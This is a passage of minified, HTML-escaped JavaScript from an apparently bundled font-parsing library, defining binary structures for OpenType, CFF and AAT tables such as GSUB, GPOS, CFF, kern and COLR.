Je(Y,Hi),&quot;glyphCount&quot;),lookupRecords:new Ye(jy,&quot;lookupCount&quot;)}}),WAe=new ct({backtrackGlyphCount:Y,backtrack:new Ye(Y,&quot;backtrackGlyphCount&quot;),inputGlyphCount:Y,input:new Ye(Y,e=&gt;e.inputGlyphCount-1),lookaheadGlyphCount:Y,lookahead:new Ye(Y,&quot;lookaheadGlyphCount&quot;),lookupCount:Y,lookupRecords:new Ye(jy,&quot;lookupCount&quot;)}),AT=new Ye(new Je(Y,WAe),Y),PH=new Un(Y,{1:{coverage:new Je(Y,Hi),chainCount:Y,chainRuleSets:new Ye(new Je(Y,AT),&quot;chainCount&quot;)},2:{coverage:new Je(Y,Hi),backtrackClassDef:new Je(Y,bm),inputClassDef:new Je(Y,bm),lookaheadClassDef:new Je(Y,bm),chainCount:Y,chainClassSet:new Ye(new Je(Y,AT),&quot;chainCount&quot;)},3:{backtrackGlyphCount:Y,backtrackCoverage:new Ye(new Je(Y,Hi),&quot;backtrackGlyphCount&quot;),inputGlyphCount:Y,inputCoverage:new Ye(new Je(Y,Hi),&quot;inputGlyphCount&quot;),lookaheadGlyphCount:Y,lookaheadCoverage:new Ye(new Je(Y,Hi),&quot;lookaheadGlyphCount&quot;),lookupCount:Y,lookupRecords:new Ye(jy,&quot;lookupCount&quot;)}}),Wx=new Fg(16,&quot;BE&quot;,14),KAe=new ct({startCoord:Wx,peakCoord:Wx,endCoord:Wx}),YAe=new ct({axisCount:Y,regionCount:Y,variationRegions:new Ye(new Ye(KAe,&quot;axisCount&quot;),&quot;regionCount&quot;)}),ZAe=new ct({shortDeltas:new Ye(Ht,e=&gt;e.parent.shortDeltaCount),regionDeltas:new Ye(co,e=&gt;e.parent.regionIndexCount-e.parent.shortDeltaCount),deltas:e=&gt;e.shortDeltas.concat(e.regionDeltas)}),JAe=new ct({itemCount:Y,shortDeltaCount:Y,regionIndexCount:Y,regionIndexes:new Ye(Y,&quot;regionIndexCount&quot;),deltaSets:new Ye(ZAe,&quot;itemCount&quot;)}),K4=new ct({format:Y,variationRegionList:new Je(et,YAe),variationDataCount:Y,itemVariationData:new Ye(new Je(et,JAe),&quot;variationDataCount&quot;)}),XAe=new Un(Y,{1:{axisIndex:Y,axisIndex:Y,filterRangeMinValue:Wx,filterRangeMaxValue:Wx}}),e1e=new ct({conditionCount:Y,conditionTable:new Ye(new Je(et,XAe),&quot;conditionCount&quot;)}),t1e=new ct({featureIndex:Y,alternateFeatureTable:new Je(et,DH,{type:&quot;parent&quot;})}),r1e=new ct({version:Is,substitutionCount:Y,substitutions:new Ye(t1e,&quot;substitutionCount&quot;)}),n1e=new ct({conditionSet:new Je(et,e1e,{type:&quot;parent&quot;}),featureTableSubstitution:new Je(et,r1e,{type:&quot;parent&quot;})}),QH=new ct({majorVersion:Y,minorVersion:Y,featureVariationRecordCount:et,featureVariationRecords:new Ye(n1e,&quot;featureVariationRecordCount&quot;)});class FH{decode(t,r,n){return this.predefinedOps[n[0]]?this.predefinedOps[n[0]]:this.type.decode(t,r,n)}size(t,r){return this.type.size(t,r)}encode(t,r,n){let i=this.predefinedOps.indexOf(r);return i!==-1?i:this.type.encode(t,r,n)}constructor(t,r){this.predefinedOps=t,this.type=r}}class i1e extends Li{decode(t){return lr.decode(t)&amp;127}constructor(){super(&quot;UInt8&quot;)}}let OH=new ct({first:Y,nLeft:lr}),a1e=new ct({first:Y,nLeft:Y}),s1e=new Un(new i1e,{0:{nCodes:lr,codes:new Ye(lr,&quot;nCodes&quot;)},1:{nRanges:lr,ranges:new Ye(OH,&quot;nRanges&quot;)}}),o1e=new FH([SH,TAe],new T0(s1e,{lazy:!0}));class xT extends Ye{decode(t,r){let n=Kd(this.length,t,r),i=0,s=[];for(;i&lt;n;){let o=this.type.decode(t,r);o.offset=i,i+=o.nLeft+1,s.push(o)}return s}}let l1e=new Un(lr,{0:{glyphs:new Ye(Y,e=&gt;e.parent.CharStrings.length-1)},1:{ranges:new xT(OH,e=&gt;e.parent.CharStrings.length-1)},2:{ranges:new xT(a1e,e=&gt;e.parent.CharStrings.length-1)}}),c1e=new FH([BH,RAe,PAe],new T0(l1e,{lazy:!0})),u1e=new ct({first:Y,fd:lr}),d1e=new ct({first:et,fd:Y}),LH=new Un(lr,{0:{fds:new Ye(lr,e=&gt;e.parent.CharStrings.length)},3:{nRanges:Y,ranges:new Ye(u1e,&quot;nRanges&quot;),sentinel:Y},4:{nRanges:et,ranges:new Ye(d1e,&quot;nRanges&quot;),sentinel:et}}),YI=new T0(jN);class MH{decode(t,r,n){return r.length=n[0],YI.decode(t,r,[n[1]])}size(t,r){return[jN.size(t,r,!1),YI.size(t,r)[0]]}encode(t,r,n){return[jN.size(r,n,!1),YI.encode(t,r,n)[0]]}}let UH=new W4([[18,&quot;Private&quot;,new MH,null],[[12,38],&quot;FontName&quot;,&quot;sid&quot;,null],[[12,7],&quot;FontMatrix&quot;,&quot;array&quot;,[.001,0,0,.001,0,0]],[[12,5],&quot;PaintType&quot;,&quot;number&quot;,0]]),f1e=new W4([[[12,30],&quot;ROS&quot;,[&quot;sid&quot;,&quot;sid&quot;,&quot;number&quot;],null],[0,&quot;version&quot;,&quot;sid&quot;,null],[1,&quot;Notice&quot;,&quot;sid&quot;,null],[[12,0],&quot;Copyright&quot;,&quot;sid&quot;,null],[2,&quot;FullName&quot;,&quot;sid&quot;,null],[3,&quot;FamilyName&quot;,&quot;sid&quot;,null],[4,&quot;Weight&quot;,&quot;sid&quot;,null],[[12,1],&quot;isFixedPitch&quot;,&quot;boolean&quot;,!1],[[12,2],&quot;ItalicAngle&quot;,&quot;number&quot;,0],[[12,3],&quot;UnderlinePosition&quot;,&quot;number&quot;,-100],[[12,4],&quot;UnderlineThickness&quot;,&quot;number&quot;,50],[[12,5],&quot;PaintType&quot;,&quot;number&quot;,0],[[12,6],&quot;CharstringType&quot;,&quot;number&quot;,2],[[12,7],&quot;FontMatrix&quot;,&quot;array&quot;,[.001,0,0,.001,0,0]],[13,&quot;UniqueID&quot;,&quot;number&quot;,null],[5,&quot;FontBBox&quot;,&quot;array&quot;,[0,0,0,0]],[[12,8],&quot;StrokeWidth&quot;,&quot;number&quot;,0],[14,&quot;XUID&quot;,&quot;array&quot;,null],[15,&quot;charset&quot;,c1e,BH],[16,&quot;Encoding&quot;,o1e,SH],[17,&quot;CharStrings&quot;,new T0(new _d),null],[18,&quot;Private&quot;,new MH,null],[[12,20],&quot;SyntheticBase&quot;,&quot;number&quot;,null],[[12,21],&quot;PostScript&quot;,&quot;sid&quot;,null],[[12,22],&quot;BaseFontName&quot;,&quot;sid&quot;,null],[[12,23],&quot;BaseFontBlend&quot;,&quot;delta&quot;,null],[[12,31],&quot;CIDFontVersion&quot;,&quot;number&quot;,0],[[12,32],&quot;CIDFontRevision&quot;,&quot;number&quot;,0],[[12,33],&quot;CIDFontType&quot;,&quot;number&quot;,0],[[12,34],&quot;CIDCount&quot;,&quot;number&quot;,8720],[[12,35],&quot;UIDBase&quot;,&quot;number&quot;,null],[[12,37],&quot;FDSelect&quot;,new T0(LH),null],[[12,36],&quot;FDArray&quot;,new T0(new _d(UH)),null],[[12,38],&quot;FontName&quot;,&quot;sid&quot;,null]]),h1e=new ct({length:Y,itemVariationStore:K4}),m1e=new W4([[[12,7],&quot;FontMatrix&quot;,&quot;array&quot;,[.001,0,0,.001,0,0]],[17,&quot;CharStrings&quot;,new T0(new _d),null],[[12,37],&quot;FDSelect&quot;,new T0(LH),null],[[12,36],&quot;FDArray&quot;,new T0(new _d(UH)),null],[24,&quot;vstore&quot;,new T0(h1e),null],[25,&quot;maxstack&quot;,&quot;number&quot;,193]]),p1e=new Un(uge,{1:{hdrSize:lr,offSize:lr,nameIndex:new _d(new Di(&quot;length&quot;)),topDictIndex:new _d(f1e),stringIndex:new _d(new Di(&quot;length&quot;)),globalSubrIndex:new _d},2:{hdrSize:lr,length:Y,topDict:m1e,globalSubrIndex:new _d}});var zH=p1e;class aB{static decode(t){return new aB(t)}decode(){this.stream.pos;let t=zH.decode(this.stream);for(let r in t){let n=t[r];this[r]=n}if(this.version&lt;2){if(this.topDictIndex.length!==1)throw new Error(&quot;Only a single font is allowed in CFF&quot;);this.topDict=this.topDictIndex[0]}return this.isCIDFont=this.topDict.ROS!=null,this}string(t){return this.version&gt;=2?null:t&lt;Xb.length?Xb[t]:this.stringIndex[t-Xb.length]}get postscriptName(){return this.version&lt;2?this.nameIndex[0]:null}get fullName(){return this.string(this.topDict.FullName)}get familyName(){return this.string(this.topDict.FamilyName)}getCharString(t){return this.stream.pos=this.topDict.CharStrings[t].offset,this.stream.readBuffer(this.topDict.CharStrings[t].length)}getGlyphName(t){if(this.version&gt;=2||this.isCIDFont)return null;let{charset:r}=this.topDict;if(Array.isArray(r))return r[t];if(t===0)return&quot;.notdef&quot;;switch(t-=1,r.version){case 0:return this.string(r.glyphs[t]);case 1:case 2:for(let n=0;n&lt;r.ranges.length;n++){let i=r.ranges[n];if(i.offset&lt;=t&amp;&amp;t&lt;=i.offset+i.nLeft)return this.string(i.first+(t-i.offset))}break}return null}fdForGlyph(t){if(!this.topDict.FDSelect)return null;switch(this.topDict.FDSelect.version){case 0:return this.topDict.FDSelect.fds[t];case 3:case 4:let{ranges:r}=this.topDict.FDSelect,n=0,i=r.length-1;for(;n&lt;=i;){let s=n+i&gt;&gt;1;if(t&lt;r[s].first)i=s-1;else if(s&lt;i&amp;&amp;t&gt;=r[s+1].first)n=s+1;else return r[s].fd}default:throw new Error(`Unknown FDSelect version: ${this.topDict.FDSelect.version}`)}}privateDictForGlyph(t){if(this.topDict.FDSelect){let r=this.fdForGlyph(t);return this.topDict.FDArray[r]?this.topDict.FDArray[r].Private:null}return this.version&lt;2?this.topDict.Private:this.topDict.FDArray[0].Private}constructor(t){this.stream=t,this.decode()}}var $H=aB;let g1e=new ct({glyphIndex:Y,vertOriginY:Ht});var A1e=new ct({majorVersion:Y,minorVersion:Y,defaultVertOriginY:Ht,numVertOriginYMetrics:Y,metrics:new Ye(g1e,&quot;numVertOriginYMetrics&quot;)});let OA=new ct({height:lr,width:lr,horiBearingX:co,horiBearingY:co,horiAdvance:lr,vertBearingX:co,vertBearingY:co,vertAdvance:lr}),lb=new ct({height:lr,width:lr,bearingX:co,bearingY:co,advance:lr}),vT=new ct({glyph:Y,xOffset:co,yOffset:co});class yT{}class ZI{}new Un(&quot;version&quot;,{1:{metrics:lb,data:yT},2:{metrics:lb,data:ZI},5:{data:ZI},6:{metrics:OA,data:yT},7:{metrics:OA,data:ZI},8:{metrics:lb,pad:new Ia(lr),numComponents:Y,components:new Ye(vT,&quot;numComponents&quot;)},9:{metrics:OA,pad:new Ia(lr),numComponents:Y,components:new Ye(vT,&quot;numComponents&quot;)},17:{metrics:lb,dataLen:et,data:new cl(&quot;dataLen&quot;)},18:{metrics:OA,dataLen:et,data:new cl(&quot;dataLen&quot;)},19:{dataLen:et,data:new cl(&quot;dataLen&quot;)}});let bT=new ct({ascender:co,descender:co,widthMax:lr,caretSlopeNumerator:co,caretSlopeDenominator:co,caretOffset:co,minOriginSB:co,minAdvanceSB:co,maxBeforeBL:co,minAfterBL:co,pad:new Ia(co,2)}),x1e=new ct({glyphCode:Y,offset:Y}),v1e=new Un(Y,{header:{imageFormat:Y,imageDataOffset:et},1:{offsetArray:new Ye(et,e=&gt;e.parent.lastGlyphIndex-e.parent.firstGlyphIndex+1)},2:{imageSize:et,bigMetrics:OA},3:{offsetArray:new Ye(Y,e=&gt;e.parent.lastGlyphIndex-e.parent.firstGlyphIndex+1)},4:{numGlyphs:et,glyphArray:new Ye(x1e,e=&gt;e.numGlyphs+1)},5:{imageSize:et,bigMetrics:OA,numGlyphs:et,glyphCodeArray:new Ye(Y,&quot;numGlyphs&quot;)}}),y1e=new ct({firstGlyphIndex:Y,lastGlyphIndex:Y,subtable:new Je(et,v1e)}),b1e=new ct({indexSubTableArray:new Je(et,new Ye(y1e,1),{type:&quot;parent&quot;}),indexTablesSize:et,numberOfIndexSubTables:et,colorRef:et,hori:bT,vert:bT,startGlyphIndex:Y,endGlyphIndex:Y,ppemX:lr,ppemY:lr,bitDepth:lr,flags:new H0(lr,[&quot;horizontal&quot;,&quot;vertical&quot;])});var w1e=new ct({version:et,numSizes:et,sizes:new Ye(b1e,&quot;numSizes&quot;)});let E1e=new ct({ppem:Y,resolution:Y,imageOffsets:new Ye(new Je(et,&quot;void&quot;),e=&gt;e.parent.parent.maxp.numGlyphs+1)});var C1e=new ct({version:Y,flags:new H0(Y,[&quot;renderOutlines&quot;]),numImgTables:et,imageTables:new Ye(new Je(et,E1e),&quot;numImgTables&quot;)});let I1e=new ct({gid:Y,paletteIndex:Y}),j1e=new ct({gid:Y,firstLayerIndex:Y,numLayers:Y});var N1e=new ct({version:Y,numBaseGlyphRecords:Y,baseGlyphRecord:new Je(et,new Ye(j1e,&quot;numBaseGlyphRecords&quot;)),layerRecords:new Je(et,new Ye(I1e,&quot;numLayerRecords&quot;),{lazy:!0}),numLayerRecords:Y});let S1e=new ct({blue:lr,green:lr,red:lr,alpha:lr});var B1e=new Un(Y,{header:{numPaletteEntries:Y,numPalettes:Y,numColorRecords:Y,colorRecords:new Je(et,new Ye(S1e,&quot;numColorRecords&quot;)),colorRecordIndices:new Ye(Y,&quot;numPalettes&quot;)},0:{},1:{offsetPaletteTypeArray:new Je(et,new Ye(et,&quot;numPalettes&quot;)),offsetPaletteLabelArray:new Je(et,new Ye(Y,&quot;numPalettes&quot;)),offsetPaletteEntryLabelArray:new Je(et,new Ye(Y,&quot;numPaletteEntries&quot;))}});let wv=new Un(Y,{1:{coordinate:Ht},2:{coordinate:Ht,referenceGlyph:Y,baseCoordPoint:Y},3:{coordinate:Ht,deviceTable:new Je(Y,fm)}}),k1e=new ct({defaultIndex:Y,baseCoordCount:Y,baseCoords:new Ye(new Je(Y,wv),&quot;baseCoordCount&quot;)}),_1e=new ct({tag:new Di(4),minCoord:new Je(Y,wv,{type:&quot;parent&quot;}),maxCoord:new Je(Y,wv,{type:&quot;parent&quot;})}),HH=new ct({minCoord:new Je(Y,wv),maxCoord:new Je(Y,wv),featMinMaxCount:Y,featMinMaxRecords:new Ye(_1e,&quot;featMinMaxCount&quot;)}),D1e=new ct({tag:new Di(4),minMax:new Je(Y,HH,{type:&quot;parent&quot;})}),T1e=new ct({baseValues:new Je(Y,k1e),defaultMinMax:new Je(Y,HH),baseLangSysCount:Y,baseLangSysRecords:new Ye(D1e,&quot;baseLangSysCount&quot;)}),R1e=new ct({tag:new Di(4),script:new Je(Y,T1e,{type:&quot;parent&quot;})}),P1e=new Ye(R1e,Y),Q1e=new Ye(new Di(4),Y),wT=new ct({baseTagList:new Je(Y,Q1e),baseScriptList:new Je(Y,P1e)});var F1e=new Un(et,{header:{horizAxis:new Je(Y,wT),vertAxis:new Je(Y,wT)},65536:{},65537:{itemVariationStore:new Je(et,K4)}});let O1e=new Ye(Y,Y),L1e=new ct({coverage:new Je(Y,Hi),glyphCount:Y,attachPoints:new Ye(new Je(Y,O1e),&quot;glyphCount&quot;)}),M1e=new Un(Y,{1:{coordinate:Ht},2:{caretValuePoint:Y},3:{coordinate:Ht,deviceTable:new Je(Y,fm)}}),U1e=new Ye(new Je(Y,M1e),Y),z1e=new ct({coverage:new Je(Y,Hi),ligGlyphCount:Y,ligGlyphs:new Ye(new Je(Y,U1e),&quot;ligGlyphCount&quot;)}),ET=new ct({markSetTableFormat:Y,markSetCount:Y,coverage:new Ye(new Je(et,Hi),&quot;markSetCount&quot;)});var $1e=new Un(et,{header:{glyphClassDef:new Je(Y,bm),attachList:new Je(Y,L1e),ligCaretList:new Je(Y,z1e),markAttachClassDef:new Je(Y,bm)},65536:{},65538:{markGlyphSetsDef:new Je(Y,ET)},65539:{markGlyphSetsDef:new Je(Y,ET),itemVariationStore:new Je(et,K4)}});let CA=new H0(Y,[&quot;xPlacement&quot;,&quot;yPlacement&quot;,&quot;xAdvance&quot;,&quot;yAdvance&quot;,&quot;xPlaDevice&quot;,&quot;yPlaDevice&quot;,&quot;xAdvDevice&quot;,&quot;yAdvDevice&quot;]),H1e={xPlacement:Ht,yPlacement:Ht,xAdvance:Ht,yAdvance:Ht,xPlaDevice:new Je(Y,fm,{type:&quot;global&quot;,relativeTo:e=&gt;e.rel}),yPlaDevice:new Je(Y,fm,{type:&quot;global&quot;,relativeTo:e=&gt;e.rel}),xAdvDevice:new Je(Y,fm,{type:&quot;global&quot;,relativeTo:e=&gt;e.rel}),yAdvDevice:new Je(Y,fm,{type:&quot;global&quot;,relativeTo:e=&gt;e.rel})};class p1{buildStruct(t){let r=t;for(;!r[this.key]&amp;&amp;r.parent;)r=r.parent;if(!r[this.key])return;let n={};n.rel=()=&gt;r._startOffset;let i=r[this.key];for(let s in i)i[s]&amp;&amp;(n[s]=H1e[s]);return new ct(n)}size(t,r){return this.buildStruct(r).size(t,r)}decode(t,r){let n=this.buildStruct(r).decode(t,r);return delete n.rel,n}constructor(t=&quot;valueFormat&quot;){this.key=t}}let q1e=new ct({secondGlyph:Y,value1:new p1(&quot;valueFormat1&quot;),value2:new p1(&quot;valueFormat2&quot;)}),G1e=new Ye(q1e,Y),V1e=new ct({value1:new p1(&quot;valueFormat1&quot;),value2:new p1(&quot;valueFormat2&quot;)}),Ev=new Un(Y,{1:{xCoordinate:Ht,yCoordinate:Ht},2:{xCoordinate:Ht,yCoordinate:Ht,anchorPoint:Y},3:{xCoordinate:Ht,yCoordinate:Ht,xDeviceTable:new Je(Y,fm),yDeviceTable:new Je(Y,fm)}}),W1e=new ct({entryAnchor:new Je(Y,Ev,{type:&quot;parent&quot;}),exitAnchor:new Je(Y,Ev,{type:&quot;parent&quot;})}),K1e=new ct({class:Y,markAnchor:new Je(Y,Ev,{type:&quot;parent&quot;})}),JI=new Ye(K1e,Y),Y1e=new Ye(new Je(Y,Ev),e=&gt;e.parent.classCount),CT=new Ye(Y1e,Y),Z1e=new Ye(new Je(Y,Ev),e=&gt;e.parent.parent.classCount),J1e=new Ye(Z1e,Y),X1e=new Ye(new Je(Y,J1e),Y),Cv=new Un(&quot;lookupType&quot;,{1:new Un(Y,{1:{coverage:new Je(Y,Hi),valueFormat:CA,value:new p1},2:{coverage:new Je(Y,Hi),valueFormat:CA,valueCount:Y,values:new Yi(new p1,&quot;valueCount&quot;)}}),2:new Un(Y,{1:{coverage:new Je(Y,Hi),valueFormat1:CA,valueFormat2:CA,pairSetCount:Y,pairSets:new Yi(new Je(Y,G1e),&quot;pairSetCount&quot;)},2:{coverage:new Je(Y,Hi),valueFormat1:CA,valueFormat2:CA,classDef1:new Je(Y,bm),classDef2:new Je(Y,bm),class1Count:Y,class2Count:Y,classRecords:new Yi(new Yi(V1e,&quot;class2Count&quot;),&quot;class1Count&quot;)}}),3:{format:Y,coverage:new Je(Y,Hi),entryExitCount:Y,entryExitRecords:new Ye(W1e,&quot;entryExitCount&quot;)},4:{format:Y,markCoverage:new Je(Y,Hi),baseCoverage:new Je(Y,Hi),classCount:Y,markArray:new Je(Y,JI),baseArray:new Je(Y,CT)},5:{format:Y,markCoverage:new Je(Y,Hi),ligatureCoverage:new Je(Y,Hi),classCount:Y,markArray:new Je(Y,JI),ligatureArray:new Je(Y,X1e)},6:{format:Y,mark1Coverage:new Je(Y,Hi),mark2Coverage:new Je(Y,Hi),classCount:Y,mark1Array:new Je(Y,JI),mark2Array:new Je(Y,CT)},7:RH,8:PH,9:{posFormat:Y,lookupType:Y,extension:new Je(et,null)}});Cv.versions[9].extension.type=Cv;var exe=new Un(et,{header:{scriptList:new Je(Y,_H),featureList:new Je(Y,TH),lookupList:new Je(Y,new bw(Cv))},65536:{},65537:{featureVariations:new Je(et,QH)}});let qH=new Ye(Y,Y),txe=qH,rxe=new ct({glyph:Y,compCount:Y,components:new Ye(Y,e=&gt;e.compCount-1)}),nxe=new Ye(new Je(Y,rxe),Y),NN=new Un(&quot;lookupType&quot;,{1:new Un(Y,{1:{coverage:new Je(Y,Hi),deltaGlyphID:Ht},2:{coverage:new Je(Y,Hi),glyphCount:Y,substitute:new Yi(Y,&quot;glyphCount&quot;)}}),2:{substFormat:Y,coverage:new Je(Y,Hi),count:Y,sequences:new Yi(new Je(Y,qH),&quot;count&quot;)},3:{substFormat:Y,coverage:new Je(Y,Hi),count:Y,alternateSet:new Yi(new Je(Y,txe),&quot;count&quot;)},4:{substFormat:Y,coverage:new Je(Y,Hi),count:Y,ligatureSets:new Yi(new Je(Y,nxe),&quot;count&quot;)},5:RH,6:PH,7:{substFormat:Y,lookupType:Y,extension:new Je(et,null)},8:{substFormat:Y,coverage:new Je(Y,Hi),backtrackCoverage:new Ye(new Je(Y,Hi),&quot;backtrackGlyphCount&quot;),lookaheadGlyphCount:Y,lookaheadCoverage:new Ye(new Je(Y,Hi),&quot;lookaheadGlyphCount&quot;),glyphCount:Y,substitutes:new Ye(Y,&quot;glyphCount&quot;)}});NN.versions[7].extension.type=NN;var ixe=new Un(et,{header:{scriptList:new Je(Y,_H),featureList:new Je(Y,TH),lookupList:new Je(Y,new bw(NN))},65536:{},65537:{featureVariations:new Je(et,QH)}});let Yh=new Ye(Y,Y),axe=new ct({shrinkageEnableGSUB:new Je(Y,Yh),shrinkageDisableGSUB:new Je(Y,Yh),shrinkageEnableGPOS:new Je(Y,Yh),shrinkageDisableGPOS:new Je(Y,Yh),shrinkageJstfMax:new Je(Y,new bw(Cv)),extensionEnableGSUB:new Je(Y,Yh),extensionDisableGSUB:new Je(Y,Yh),extensionEnableGPOS:new Je(Y,Yh),extensionDisableGPOS:new Je(Y,Yh),extensionJstfMax:new Je(Y,new bw(Cv))}),GH=new Ye(new Je(Y,axe),Y),sxe=new ct({tag:new Di(4),jstfLangSys:new Je(Y,GH)}),oxe=new ct({extenderGlyphs:new Je(Y,new Ye(Y,Y)),defaultLangSys:new Je(Y,GH),langSysCount:Y,langSysRecords:new Ye(sxe,&quot;langSysCount&quot;)}),lxe=new ct({tag:new Di(4),script:new Je(Y,oxe,{type:&quot;parent&quot;})});var cxe=new ct({version:et,scriptCount:Y,scriptList:new Ye(lxe,&quot;scriptCount&quot;)});class uxe{decode(t,r){switch(this.size(0,r)){case 1:return t.readUInt8();case 2:return t.readUInt16BE();case 3:return t.readUInt24BE();case 4:return t.readUInt32BE()}}size(t,r){return Kd(this._size,null,r)}constructor(t){this._size=t}}let dxe=new ct({entry:new uxe(e=&gt;((e.parent.entryFormat&amp;48)&gt;&gt;4)+1),outerIndex:e=&gt;e.entry&gt;&gt;(e.parent.entryFormat&amp;15)+1,innerIndex:e=&gt;e.entry&amp;(1&lt;&lt;(e.parent.entryFormat&amp;15)+1)-1}),XI=new ct({entryFormat:Y,mapCount:Y,mapData:new Ye(dxe,&quot;mapCount&quot;)});var fxe=new ct({majorVersion:Y,minorVersion:Y,itemVariationStore:new Je(et,K4),advanceWidthMapping:new Je(et,XI),LSBMapping:new Je(et,XI),RSBMapping:new Je(et,XI)});let hxe=new ct({format:et,length:et,offset:et}),mxe=new ct({reserved:new Ia(Y,2),cbSignature:et,signature:new cl(&quot;cbSignature&quot;)});var pxe=new ct({ulVersion:et,usNumSigs:Y,usFlag:Y,signatures:new Ye(hxe,&quot;usNumSigs&quot;),signatureBlocks:new Ye(mxe,&quot;usNumSigs&quot;)});let gxe=new ct({rangeMaxPPEM:Y,rangeGaspBehavior:new H0(Y,[&quot;grayscale&quot;,&quot;gridfit&quot;,&quot;symmetricSmoothing&quot;,&quot;symmetricGridfit&quot;])});var Axe=new ct({version:Y,numRanges:Y,gaspRanges:new Ye(gxe,&quot;numRanges&quot;)});let xxe=new ct({pixelSize:lr,maximumWidth:lr,widths:new Ye(lr,e=&gt;e.parent.parent.maxp.numGlyphs)});var vxe=new ct({version:Y,numRecords:Ht,sizeDeviceRecord:Gp,records:new Ye(xxe,&quot;numRecords&quot;)});let yxe=new ct({left:Y,right:Y,value:Ht}),IT=new ct({firstGlyph:Y,nGlyphs:Y,offsets:new Ye(Y,&quot;nGlyphs&quot;),max:e=&gt;e.offsets.length&amp;&amp;Math.max.apply(Math,e.offsets)}),bxe=new ct({off:e=&gt;e._startOffset-e.parent.parent._startOffset,len:e=&gt;((e.parent.leftTable.max-e.off)/e.parent.rowWidth+1)*(e.parent.rowWidth/2),values:new Yi(Ht,&quot;len&quot;)}),jT=new Un(&quot;format&quot;,{0:{nPairs:Y,searchRange:Y,entrySelector:Y,rangeShift:Y,pairs:new Ye(yxe,&quot;nPairs&quot;)},2:{rowWidth:Y,leftTable:new Je(Y,IT,{type:&quot;parent&quot;}),rightTable:new Je(Y,IT,{type:&quot;parent&quot;}),array:new Je(Y,bxe,{type:&quot;parent&quot;})},3:{glyphCount:Y,kernValueCount:lr,leftClassCount:lr,rightClassCount:lr,flags:lr,kernValue:new Ye(Ht,&quot;kernValueCount&quot;),leftClass:new Ye(lr,&quot;glyphCount&quot;),rightClass:new Ye(lr,&quot;glyphCount&quot;),kernIndex:new Ye(lr,e=&gt;e.leftClassCount*e.rightClassCount)}}),NT=new Un(&quot;version&quot;,{0:{subVersion:Y,length:Y,format:lr,coverage:new H0(lr,[&quot;horizontal&quot;,&quot;minimum&quot;,&quot;crossStream&quot;,&quot;override&quot;]),subtable:jT,padding:new Ia(lr,e=&gt;e.length-e._currentOffset)},1:{length:et,coverage:new H0(lr,[null,null,null,null,null,&quot;variation&quot;,&quot;crossStream&quot;,&quot;vertical&quot;]),format:lr,tupleIndex:Y,subtable:jT,padding:new Ia(lr,e=&gt;e.length-e._currentOffset)}});var wxe=new Un(Y,{0:{nTables:Y,tables:new Ye(NT,&quot;nTables&quot;)},1:{reserved:new Ia(Y),nTables:et,tables:new Ye(NT,&quot;nTables&quot;)}}),Exe=new ct({version:Y,numGlyphs:Y,yPels:new Ye(lr,&quot;numGlyphs&quot;)}),Cxe=new ct({version:Y,fontNumber:et,pitch:Y,xHeight:Y,style:Y,typeFamily:Y,capHeight:Y,symbolSet:Y,typeface:new Di(16),characterComplement:new Di(8),fileName:new Di(6),strokeWeight:new Di(1),widthType:new Di(1),serifStyle:lr,reserved:new Ia(lr)});let Ixe=new ct({bCharSet:lr,xRatio:lr,yStartRatio:lr,yEndRatio:lr}),jxe=new ct({yPelHeight:Y,yMax:Ht,yMin:Ht}),Nxe=new ct({recs:Y,startsz:lr,endsz:lr,entries:new Ye(jxe,&quot;recs&quot;)});var Sxe=new ct({version:Y,numRecs:Y,numRatios:Y,ratioRanges:new Ye(Ixe,&quot;numRatios&quot;),offsets:new Ye(Y,&quot;numRatios&quot;),groups:new Ye(Nxe,&quot;numRecs&quot;)}),Bxe=new ct({version:Y,ascent:Ht,descent:Ht,lineGap:Ht,advanceHeightMax:Ht,minTopSideBearing:Ht,minBottomSideBearing:Ht,yMaxExtent:Ht,caretSlopeRise:Ht,caretSlopeRun:Ht,caretOffset:Ht,reserved:new Ia(Ht,4),metricDataFormat:Ht,numberOfMetrics:Y});let kxe=new ct({advance:Y,bearing:Ht});var _xe=new ct({metrics:new Yi(kxe,e=&gt;e.parent.vhea.numberOfMetrics),bearings:new Yi(Ht,e=&gt;e.parent.maxp.numGlyphs-e.parent.vhea.numberOfMetrics)});let ST=new Fg(16,&quot;BE&quot;,14),Dxe=new ct({fromCoord:ST,toCoord:ST}),Txe=new ct({pairCount:Y,correspondence:new Ye(Dxe,&quot;pairCount&quot;)});var Rxe=new ct({version:Is,axisCount:et,segment:new Ye(Txe,&quot;axisCount&quot;)});class Pxe{getItem(t){if(this._items[t]==null){let r=this.stream.pos;this.stream.pos=this.base+this.type.size(null,this.parent)*t,this._items[t]=this.type.decode(this.stream,this.parent),this.stream.pos=r}return this._items[t]}inspect(){return`[UnboundedArray ${this.type.constructor.name}]`}constructor(t,r,n){this.type=t,this.stream=r,this.parent=n,this.base=this.stream.pos,this._items=[]}}class Od extends Ye{decode(t,r){return new Pxe(this.type,t,r)}constructor(t){super(t,0)}}let Pm=function(e=Y){class t{decode(l,c){return c=c.parent.parent,this.type.decode(l,c)}size(l,c){return c=c.parent.parent,this.type.size(l,c)}encode(l,c,d){return d=d.parent.parent,this.type.encode(l,c,d)}constructor(l){this.type=l}}e=new t(e);let r=new ct({unitSize:Y,nUnits:Y,searchRange:Y,entrySelector:Y,rangeShift:Y}),n=new ct({lastGlyph:Y,firstGlyph:Y,value:e}),i=new ct({lastGlyph:Y,firstGlyph:Y,values:new Je(Y,new Ye(e,o=&gt;o.lastGlyph-o.firstGlyph+1),{type:&quot;parent&quot;})}),s=new ct({glyph:Y,value:e});return new Un(Y,{0:{values:new Od(e)},2:{binarySearchHeader:r,segments:new Ye(n,o=&gt;o.binarySearchHeader.nUnits)},4:{binarySearchHeader:r,segments:new Ye(i,o=&gt;o.binarySearchHeader.nUnits)},6:{binarySearchHeader:r,segments:new Ye(s,o=&gt;o.binarySearchHeader.nUnits)},8:{firstGlyph:Y,count:Y,values:new Ye(e,&quot;count&quot;)}})};function cb(e={},t=Y){let r=Object.assign({newState:Y,flags:Y},e),n=new ct(r),i=new Od(new Ye(Y,o=&gt;o.nClasses));return new ct({nClasses:et,classTable:new Je(et,new Pm(t)),stateArray:new Je(et,i),entryTable:new Je(et,new Od(n))})}function Qxe(e={},t=Y){let r=new ct({version(){return 8},firstGlyph:Y,values:new Ye(lr,Y)}),n=Object.assign({newStateOffset:Y,newState:l=&gt;(l.newStateOffset-(l.parent.stateArray.base-l.parent._startOffset))/l.parent.nClasses,flags:Y},e),i=new ct(n),s=new Od(new Ye(lr,l=&gt;l.nClasses));return new ct({nClasses:Y,classTable:new Je(Y,r),stateArray:new Je(Y,s),entryTable:new Je(Y,new Od(i))})}let Fxe=new 